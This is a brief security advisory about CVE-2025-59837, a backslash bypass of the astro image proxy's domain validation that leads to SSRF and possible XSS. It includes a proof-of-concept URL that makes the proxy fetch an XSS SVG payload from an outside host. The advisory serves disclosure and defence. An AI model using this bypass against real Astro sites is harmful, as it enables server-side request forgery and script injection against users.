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npm/astroastro allows bypass of image proxy domain validation leading to SSRF and potential XSS

Risk 44
Severity
7.2
XSS, SSRF
AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N

Summary

This is a patch bypass of CVE-2025-58179 in commit 9ecf359. The fix blocks http://, https:// and //, but can be bypassed using backslashes (\) - the endpoint still issues a server-side fetch.

PoC https://astro.build/image?href=\\raw.githubusercontent.com/projectdiscovery/nuclei-templates/refs/heads/main/helpers/payloads/retool-xss.svg&f=svg

1 / 2
Source: GitHub
First published (updated )
CVE-2025-59837

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